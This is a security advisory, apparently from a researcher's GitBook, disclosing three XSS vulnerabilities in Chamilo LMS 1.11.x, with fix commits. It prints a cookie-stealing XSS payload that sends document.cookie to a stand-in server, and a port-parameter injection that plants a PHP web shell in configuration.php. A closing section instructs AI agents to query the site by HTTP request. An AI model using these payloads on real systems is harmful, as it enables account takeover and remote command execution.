# Chamilo-lms-1.11.x - From XSS to account takeover && backdoor implantation

## [**CVE-2021-37391** ](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37391)**-  From Stored XSS to account takeover**

{% hint style="success" %}
**Title:** From Stored XSS to account takeover\
**Vulnerability:** Stored XSS\
**CVE ID:** [CVE-2021-37391](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37391)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N
{% endhint %}

A user without privileges in Chamilo LMS 1.11.x can send an invitation message to another user, e.g., the administrator, through **main/social/search.php, main/inc/lib/social.lib.php** and steal cookies or execute arbitrary code on the administration side via a stored XSS vulnerability via social network the send invitation feature.

**Proof-of-Concept**

A guest user without privileges on the Chamilo LMS could send an invitation with a malicious message that could put at risk the administrator's privacy. Basically, it was possible to take advantage of a stored XSS vulnerability and stole the authentication token of another user - in this case, the administrator. This scenario could be abused to get access over the administrator account (takeover).

![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-MglsUZAwCH2fWNbW1oR%2F-MgltwMQ7TB4dKRUmvp2%2Fimage.png?alt=media\&token=328ea2c7-772b-4ef6-8dbf-2aade9212cab)

\
After that, click on "**Send message**" button.

On the admin side, the payload is executed by opening the invitations panel on the left menu.

![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-MglsUZAwCH2fWNbW1oR%2F-MglvK1iHxbVlw_kLaYC%2Fimage.png?alt=media\&token=7fc83921-3dd7-48e8-ab6a-c9fc7cad9662)

By using a custom payload, it was possible to get the administrator's cookie and clone their session.

```
<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>
```

**Impact:** By using this vulnerability, an unprivileged user can steal cookies from an admin account or forcing the administrator to create an account with admin privileges with an HTTP 302 redirect.

**Mitigation**: Update the Chamilo to the latest version.\
\
**Fix**: <https://github.com/chamilo/chamilo-lms/commit/de43a77049771cce08ea7234c5c1510b5af65bc8>&#x20;

**ExploitDB**: <https://www.exploit-db.com/exploits/50694>

## [CVE-2021-37390 ](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37390)-  **Reflected XSS search mechanism**&#x20;

{% hint style="success" %}
**Title:** Reflected XSS search mechanism \
**Vulnerability:** Reflected XSS\
**CVE ID:** [CVE-2021-37390](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37390)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
{% endhint %}

A Chamilo LMS 1.11.14 reflected XSS vulnerability exists in **main/social/search.php=q** URI (social network search feature).

![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-MglvmrAQmULoJq2HmhC%2F-Mglx19nAKXKZPufadJC%2Fimage.png?alt=media\&token=9587b6e0-f851-4f09-9bbc-6dd48265b760)

**Impact:** By using this vulnerability, an unprivileged user can steal cookies from an admin account or forcing the administrator to create an account with admin privileges with an HTTP 302 redirect.

**Mitigation:** Update the Chamilo to the latest version.

**Fix**: <https://github.com/chamilo/chamilo-lms/commit/3fcc751d5cc7da311532a8756fba5a8778f50ca0>

## CVE-2021-37389 - From Stored XSS to PHP backdoor implantation

{% hint style="success" %}
**Title:** From Stored XSS to PHP backdoor implantation\
**Vulnerability:** Stored XSS\
**CVE ID:** [CVE-2021-37389](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37390)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H
{% endhint %}

Chamilo 1.11.14 allows stored XSS via **main/install/index.php** and **main/install/ajax.php** through the **port parameter**.

![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-Mgly11symyRhfs7v5jU%2F-MglycdEaps2tLnxTiQl%2Fimage.png?alt=media\&token=86ce83ec-f0bb-432b-9187-f8967a8d1c47)

![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-Mgly11symyRhfs7v5jU%2F-Mgm-atvaNfqTTGy5Tm-%2Fimage.png?alt=media\&token=eb58b6dc-6826-4e08-a4ab-4e97b65b0eae)

As expected, the sent **payload will be stored on the config.php** file on the web-server. As this parameter was not validated in the right way, it could be abused to implant a PHP backdoor on the web-server by using the port parameter to inject the malicious payload presented below.

![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-MgmBB95C0ewoJCrxsZ-%2F-MgmDvU_hLhZUHxwA8nr%2Fimage.png?alt=media\&token=53a58aeb-5f8a-407d-85fc-28c093b061a7)

**Target payload:**

```
3306';echo system($_GET["cmd"]);
```

{% hint style="warning" %}
The values will be written into your configuration file **app/config/configuration.php** :sunglasses:&#x20;
{% endhint %}

![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-MgmBB95C0ewoJCrxsZ-%2F-MgmFaBHEOsnSEnlTtNW%2Fimage.png?alt=media\&token=c60426a9-8496-4823-9403-75a10b35532f)

We got it :sunglasses:&#x20;

```
http://localhost/chamilo/app/config/configuration.php?cmd=id
```

![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-MgmBB95C0ewoJCrxsZ-%2F-MgmFPtidTvhZR-6k7nH%2Fimage.png?alt=media\&token=e929ad21-d6fe-4f3a-94d0-60f143d6200f)

### BONUS: Another XSS's

During the installation process, a lot of fields are also vulnerable to stored XSS, namely:

* **Administrator login**
* **Administrator first name**
* **Administrator last name**
* **Administrator email**
* **Your personal name; and**
* **Your company short name**

![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-Mgly11symyRhfs7v5jU%2F-Mgm01V9U8iJBh1csr0C%2Fimage.png?alt=media\&token=82f9e43b-16ff-4f52-8ad7-1c97bd00788e)

As a result, the payloads are stored in the database and reflected on the website.

![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-Mgly11symyRhfs7v5jU%2F-Mgm0Mz5ny9tV6rcqpwd%2Fimage.png?alt=media\&token=ccfe2beb-96c5-4bf4-baa6-737bb1610e4a)

**Impact:** By using this vulnerability, an unprivileged user can steal cookies from an admin account or forcing the administrator to create an account with admin privileges with an HTTP 302 redirect.

In addition, the port parameter can be also used to implant a PHP backdoor on the web-server.

**Mitigation:** Update the Chamilo to the latest version.

**Fix**: <https://github.com/chamilo/chamilo-lms/commit/dfae49f5dc392c00cd43badcb3043db3a646ff0c>

{% embed url="<https://support.chamilo.org/projects/1/wiki/Security_issues>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
